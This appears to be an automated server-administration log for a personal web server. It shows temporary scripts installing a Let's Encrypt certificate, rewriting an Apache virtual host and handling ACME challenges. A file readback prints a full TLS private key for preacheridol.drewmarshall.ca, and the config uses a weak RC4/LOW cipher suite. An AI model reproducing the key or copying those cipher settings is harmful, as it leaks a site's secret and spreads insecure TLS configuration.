bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			

endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-01-14 06:01:45: 

chmod 755 /tmp/pkp159935; /tmp/pkp159935; rm /tmp/pkp159935

2026-01-14 06:01:45: 


dir=/etc/ssl/certs


2026-01-14 06:01:45: 

PUT: /tmp/pkp658106

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-01-14 06:01:45: 

chmod 755 /tmp/pkp658106; /tmp/pkp658106; rm /tmp/pkp658106

2026-01-14 06:01:45: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf 52

<VirtualHost *:80>
    ServerName	preacheridol.drewmarshall.ca
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/drewmarshall_preacheridol
    <Directory /var/www/drewmarshall_preacheridol>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/drewmarshall/preacheridol_access.log combined
    ErrorLog	/var/log/apache2/drewmarshall/preacheridol_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	preacheridol.drewmarshall.ca
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/dedbbb759062bdb197a5a897ec5601b7.crt
    DocumentRoot	/var/www/drewmarshall_preacheridol
    <Directory /var/www/drewmarshall_preacheridol>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/drewmarshall/preacheridol_secure_access.log combined
    ErrorLog	/var/log/apache2/drewmarshall/preacheridol_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2026-01-14 06:01:45: 

PUT: /tmp/pkp172643

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=drewmarshall_preacheridol_ca.conf
TARGET=/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	preacheridol.drewmarshall.ca
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/drewmarshall_preacheridol
    <Directory /var/www/drewmarshall_preacheridol>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/drewmarshall/preacheridol_access.log combined
    ErrorLog	/var/log/apache2/drewmarshall/preacheridol_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	preacheridol.drewmarshall.ca
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/dedbbb759062bdb197a5a897ec5601b7.crt
    DocumentRoot	/var/www/drewmarshall_preacheridol
    <Directory /var/www/drewmarshall_preacheridol>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/drewmarshall/preacheridol_secure_access.log combined
    ErrorLog	/var/log/apache2/drewmarshall/preacheridol_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf)= /etc/apache2//etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf= 1'
fi


2026-01-14 06:01:45: 

chmod 755 /tmp/pkp172643; /tmp/pkp172643; rm /tmp/pkp172643

2026-01-14 06:01:45: 




2026-01-14 06:01:45: 

PUT: /tmp/pkp543613

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-01-14 06:01:46: 

chmod 755 /tmp/pkp543613; /tmp/pkp543613; rm /tmp/pkp543613

2026-01-14 06:01:46: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-01-14 06:01:46: Establishing a connection
2026-01-14 06:01:46: 

PUT: /tmp/pkp381149

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-01-14 06:01:46: 

chmod 755 /tmp/pkp381149; /tmp/pkp381149; rm /tmp/pkp381149

2026-01-14 06:01:46: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:2)
                 alias www.bucketgigs.ca
         port 80 namevhost dgmarshall.ca (/etc/apache2/sites-enabled/dgmarshall_www_ca.conf:2)
                 alias www.dgmarshall.ca
         port 80 namevhost dgmarshall.com (/etc/apache2/sites-enabled/dgmarshall_www_com.conf:2)
                 alias www.dgmarshall.com
         port 80 namevhost audio.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf:2)
         port 80 namevhost caminoconfessions.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf:2)
         port 80 namevhost datinggame.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf:2)
         port 80 namevhost dgm.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf:2)
         port 80 namevhost preacheridol.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf:2)
         port 80 namevhost soulsurvivor.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf:2)
         port 80 namevhost drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_www_ca.conf:2)
                 alias www.drewmarshall.ca
         port 80 namevhost hillrunfarm.ca (/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf:2)
                 alias www.hillrunfarm.ca
         port 80 namevhost ineedtosaythis.com (/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf:2)
                 alias www.ineedtosaythis.com
         port 80 namevhost sosretreatscanada.com (/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf:2)
                 alias sosretreats.ca
                 alias www.sosretreats.ca
                 alias www.sosretreatscanada.com
                 alias sosretreatscanada.ca
                 alias www.sosretreatscanada.ca
*:443                  is a NameVirtualHost
         default server bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:23)
         port 443 namevhost bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:23)
                 alias www.bucketgigs.ca
         port 443 namevhost dgmarshall.ca (/etc/apache2/sites-enabled/dgmarshall_www_ca.conf:23)
                 alias www.dgmarshall.ca
         port 443 namevhost dgmarshall.com (/etc/apache2/sites-enabled/dgmarshall_www_com.conf:23)
                 alias www.dgmarshall.com
         port 443 namevhost audio.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf:19)
         port 443 namevhost caminoconfessions.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf:22)
         port 443 namevhost datinggame.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf:22)
         port 443 namevhost dgm.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf:22)
         port 443 namevhost preacheridol.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf:19)
         port 443 namevhost soulsurvivor.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf:22)
         port 443 namevhost drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_www_ca.conf:20)
                 alias www.drewmarshall.ca
         port 443 namevhost hillrunfarm.ca (/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf:23)
                 alias www.hillrunfarm.ca
         port 443 namevhost ineedtosaythis.com (/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf:20)
                 alias www.ineedtosaythis.com
         port 443 namevhost sosretreatscanada.com (/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf:25)
                 alias sosretreats.ca
                 alias www.sosretreats.ca
                 alias www.sosretreatscanada.com
                 alias sosretreatscanada.ca
                 alias www.sosretreatscanada.ca
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-01-14 06:01:46: 

PUT: /tmp/pkp398217

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-01-14 06:01:46: 

chmod 755 /tmp/pkp398217; /tmp/pkp398217; rm /tmp/pkp398217

2026-01-14 06:01:46: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf	1308

<VirtualHost *:80>
    ServerName	preacheridol.drewmarshall.ca
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/drewmarshall_preacheridol
    <Directory /var/www/drewmarshall_preacheridol>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/drewmarshall/preacheridol_access.log combined
    ErrorLog	/var/log/apache2/drewmarshall/preacheridol_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	preacheridol.drewmarshall.ca
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/dedbbb759062bdb197a5a897ec5601b7.crt
    DocumentRoot	/var/www/drewmarshall_preacheridol
    <Directory /var/www/drewmarshall_preacheridol>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/drewmarshall/preacheridol_secure_access.log combined
    ErrorLog	/var/log/apache2/drewmarshall/preacheridol_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2026-01-14 06:01:46: 

PUT: /tmp/pkp233194

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/dedbbb759062bdb197a5a897ec5601b7.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-01-14 06:01:46: 

chmod 755 /tmp/pkp233194; /tmp/pkp233194; rm /tmp/pkp233194

2026-01-14 06:01:46: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/dedbbb759062bdb197a5a897ec5601b7.crt	5397
3c:3f:ec:23:b2:12:86:7c:30:25:e9:00:af:c7:9d:c6

-----BEGIN CERTIFICATE-----
MIIFHDCCBASgAwIBAgISBpaxjDciU4A1x1ugVY+aWiguMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwMTE0MDUwMzE0WhcNMjYwNDE0MDUwMzEzWjAnMSUwIwYDVQQD
ExxwcmVhY2hlcmlkb2wuZHJld21hcnNoYWxsLmNhMIIBIjANBgkqhkiG9w0BAQEF
AAOCAQ8AMIIBCgKCAQEAw5A3LYmMi+YVWvf3+QtMcb14WAyyMfGNsAvr6HB79xrK
Mt1IqEtRQGxMsxtlAI/fj4CGC0VAY3AZTr3NqzaYBcdkjZmONM4PyNJhlvAVR0Ql
4/+4iIly37x7E2tNVZl0VWkOC4fDAqzmRJ0S02CbHV79UVmrnOshalL2ZWuY72Fn
TNJO8tpM6H5+yEsXcYze01wHTNCybYcesCnmgoRKOyYpNZ4jGynnHC7pji4wBHY3
NMCQQM2Qd2JOOi6Iqq7Desr6nFcURGWVvvF5ccVgd3/e59IewTlNrASr4YukOj5W
OOgAKpus3Yi6Uc0LR0aLPlkOCSkazvc/fS4iEpPBbQIDAQABo4ICNDCCAjAwDgYD
VR0PAQH/BAQDAgWgMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNV
HRMBAf8EAjAAMB0GA1UdDgQWBBSOBguvwcCmU0XDbtCGflHi4tYoXTAfBgNVHSME
GDAWgBTnq58PLDOgU9NeT3jIsoQOO9aSMzAzBggrBgEFBQcBAQQnMCUwIwYIKwYB
BQUHMAKGF2h0dHA6Ly9yMTMuaS5sZW5jci5vcmcvMCcGA1UdEQQgMB6CHHByZWFj
aGVyaWRvbC5kcmV3bWFyc2hhbGwuY2EwEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYD
VR0fBCcwJTAjoCGgH4YdaHR0cDovL3IxMy5jLmxlbmNyLm9yZy80Ny5jcmwwggEM
BgorBgEEAdZ5AgQCBIH9BIH6APgAdQDLOPcViXyEoURfW8Hd+8lu8ppZzUcKaQWF
sMsUwxRY5wAAAZu7GIMnAAAEAwBGMEQCIHr1Tnn54PPatKXbv6FE1PGiNFUM17l1
eLKInjuTBQcXAiB/p4uiU/k6slpOh/J2FOXc6Vok/cYiorC4wtCPgkJnbQB/ABqL
nWlKV5jImaDKiL30j8C0VmDMw2ANH3H0af/H0ayjAAABm7sYhCQACAAABQA2rsNg
BAMASDBGAiEAxCtt/IOMPoq4GScINzyh1F29T42dhxz1wAYw1OiBGg0CIQCi4hbh
vtEYlTyB7kTbCfa9ieYOrbBsbYVwarSfeXnPNjANBgkqhkiG9w0BAQsFAAOCAQEA
NCCkKm9MahKRW9or9SewfE4Gc0/ZJqSOc7emVzB/jE6mRgAORF7G7ebRcKNmpVpw
0384u1Nf5MLT4qeYkhIW+RuXPt9F8kV8n/sPpVWWwVwByHXM/H72acP+PSnD2+MQ
+ymHLS6C79t6gEoZ16dEC3hIyadN/qMqSrDunBtvNkikqjMEm99IqqG7Ln7FD1W1
4nP4/T2RCe9DTcLK7zoxyDdKl6NjdhulUpk/yoNtjVQDlnfCBgltQGdXphMeJdcv
YQeNdsN4lyuz9SkzM2XULIk++qr1Wym5iyHmsnuuRIvSHiQ4czsAA2m1NcPTB3Nu
bNg5hO8qcwdvXi+woEkCyQ==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDDkDctiYyL5hVa
9/f5C0xxvXhYDLIx8Y2wC+vocHv3Gsoy3UioS1FAbEyzG2UAj9+PgIYLRUBjcBlO
vc2rNpgFx2SNmY40zg/I0mGW8BVHRCXj/7iIiXLfvHsTa01VmXRVaQ4Lh8MCrOZE
nRLTYJsdXv1RWauc6yFqUvZla5jvYWdM0k7y2kzofn7ISxdxjN7TXAdM0LJthx6w
KeaChEo7Jik1niMbKeccLumOLjAEdjc0wJBAzZB3Yk46LoiqrsN6yvqcVxREZZW+
8XlxxWB3f97n0h7BOU2sBKvhi6Q6PlY46AAqm6zdiLpRzQtHRos+WQ4JKRrO9z99
LiISk8FtAgMBAAECggEABGNTgZ+Q+kCe4QwoUbu5quGr9hnO08UOP1F9KRmBBpHg
0JRbgX8zIwVrESe/s+wGgaNKHq2enLySrMwgdcODVLndHTpBURkAjKp/yxG3AILc
cMm3m8StwaxqfIyPTyjizdnOGV8h9ojnn8mAdyK3SEjt2SnwalRySv7yjWMFKvXT
7CQmmBscIbGtLji04UqnxpWz2djxsIi9CqY9FezdtvUFyAAxq8t2nocMOh7TpkXt
e3iUUbfcGtI1As5GJR9ClzibH1HjBJU3WdCdDswHw37fD0dZ+QxiI+EZVAmy2R+g
IWd6gDMq+p15WvDaDim6/+eMgZ8uEbwZdOkaZMB+MQKBgQD8+dtibG2vbd1uYoxY
nur7Mx2edLb00PelG/pjnTzZfpXWM8T6Yi0wj3Aw2yIUZJp3eFPRlIznjNlCTnu8
5EPdWAogctMGcDLLn7GxMWbVqcam6GiFMXlIW4JhVoXMTTAG+Mow2epNEJhv4tnQ
8BSeanZOWLRTiSL28SYJBE/VtQKBgQDF5qrkeOWRENDJYuRrFemEAixnAer9rj4/
oFK5RTYYEXqFfUhfedsg666pLRNJIbdoGWDbLAD5OjbntSiTpiPriSvbp6SM1UoK
yo9zZd7WF9zPhG7dpfi9zfyNt9iv1ECqHtigGwsse0xjx0PVGrxiwB43WMTp7n5W
H9LyhRoP2QKBgAcjIX5oYrvVVK79lsoVSbnmmkpTLqo/jw0Yefr/f6z/NkkB0ufh
hzbchSTLue1rXTRLr8m08DjEL4kAX9tXcVa4WijKNIv09GnsSn4eT7Fthc5FtlUz
rSFOe6I1Z7b44ob/0+yG6WZdNn/Jna2YaGyDwmy5cfT9ZIAlE5ajiYEVAoGBAKQF
8PH4Od0oIMQpUMRonuionICrmEa1miZGDQo9kP4VzoTBN7DaYIJClLrm/ysH5OlE
z4AYUp4+X69f+MeXVgIr6MvfgISxavLSvF6aujyb/omIbBMNMsKt7XrQO6pPs2DM
vCLHB1XQw5mXWGNSC32VWfXpfxucbd2X9tDG/LjRAoGARe3uslXyfrobOkEsWhUY
NWOx9Ixo/ZqqU4/tCuRWaPhmMO+El5vUJtjKHorSNK3vSXuiHBb9pP83w3bcoTCw
QzN6CJYQEDDfiUnyHcySMnF7cJD6Xidobt5k80Aq9LKUO2U4xKJ1Ymd/S4y0cjj/
WjyJxH4voaedkzVCxi3iBvg=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			





2026-01-14 06:01:46: Establishing a connection
2026-01-14 06:01:46: Establishing a connection
2026-01-14 06:01:47: 

PUT: /tmp/pkp830829

#!/bin/bash
if [ -d "/var/www/drewmarshall_datinggame/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-01-14 06:01:47: 

chmod 755 /tmp/pkp830829; /tmp/pkp830829; rm /tmp/pkp830829

2026-01-14 06:01:47: 


1


2026-01-14 06:01:47: Establishing a connection
2026-01-14 06:01:47: 

PUT: /tmp/pkp524112

#!/bin/bash
mkdir -p "/var/www/drewmarshall_datinggame/.well-known/acme-challenge/"
cd "/var/www/drewmarshall_datinggame/.well-known/acme-challenge/"
cat > 938lql8S1sboAKIzgsMRXqCeoVdFnGONDPE-WJh3hc4 <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
938lql8S1sboAKIzgsMRXqCeoVdFnGONDPE-WJh3hc4.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 938lql8S1sboAKIzgsMRXqCeoVdFnGONDPE-WJh3hc4


2026-01-14 06:01:47: 

chmod 755 /tmp/pkp524112; /tmp/pkp524112; rm /tmp/pkp524112

2026-01-14 06:01:47: 




2026-01-14 06:01:57: Establishing a connection
2026-01-14 06:01:57: 

PUT: /tmp/pkp817622

#!/bin/bash
mkdir -p "/var/www/drewmarshall_datinggame/.well-known/acme-challenge/"
cd "/var/www/drewmarshall_datinggame/.well-known/acme-challenge/"
rm 938lql8S1sboAKIzgsMRXqCeoVdFnGONDPE-WJh3hc4


2026-01-14 06:01:57: 

chmod 755 /tmp/pkp817622; /tmp/pkp817622; rm /tmp/pkp817622

2026-01-14 06:01:57: 




2026-01-14 06:01:57: Establishing a connection
2026-01-14 06:01:58: 

